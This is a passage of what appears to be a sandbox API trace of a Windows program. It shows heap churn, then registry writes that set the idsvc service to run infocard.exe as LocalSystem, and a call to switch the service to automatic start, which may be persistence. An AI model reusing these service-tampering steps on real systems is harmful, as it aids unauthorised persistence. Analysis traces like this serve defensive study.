(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0176.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0176.151] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.151] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0176.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0176.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0176.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0176.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0176.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0176.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0176.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0176.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0176.152] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0176.152] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0176.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0176.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0176.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0176.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0176.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0176.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0176.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0176.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219ddd8 [0176.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0176.153] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x252dd90 [0176.153] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d488 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4388 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44f0 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0176.154] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4610 [0176.154] RegSetValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0176.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0176.154] RegSetValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0176.154] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0176.154] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.155] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.155] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.155] RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.155] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.155] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.155] RegEnumValueA (in: hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.155] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.155] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.155] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.155] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.155] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0176.155] RegSetValueExA (in: hKey=0x9c, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0176.155] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0176.155] RegSetValueExA (in: hKey=0x9c, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0176.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.156] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0176.156] RegSetValueExA (in: hKey=0x9c, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0176.156] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0176.156] RegSetValueExA (in: hKey=0x9c, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0176.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0176.157] RegEnumValueA (in: hKey=0x140, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0176.157] RegSetValueExA (in: hKey=0x9c, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0176.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0176.157] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0176.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2eb0, cbMultiByte=89, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0176.158] CommandLineToArgvW (in: lpCmdLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x803ea0*="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" [0176.158] LocalFree (hMem=0x803ea0) returned 0x0 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4f40) returned 1 [0176.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe", cchWideChar=87, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 87 [0176.158] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe", cchWideChar=87, lpMultiByteStr=0x21f2e28, cbMultiByte=87, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe", lpUsedDefaultChar=0x0) returned 87 [0176.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0176.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0176.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0176.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0176.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0176.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0176.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0176.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0176.158] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0176.158] RegSetValueExA (in: hKey=0x9c, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0176.158] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0176.158] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x2) returned 0x8038a0 [0176.159] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, 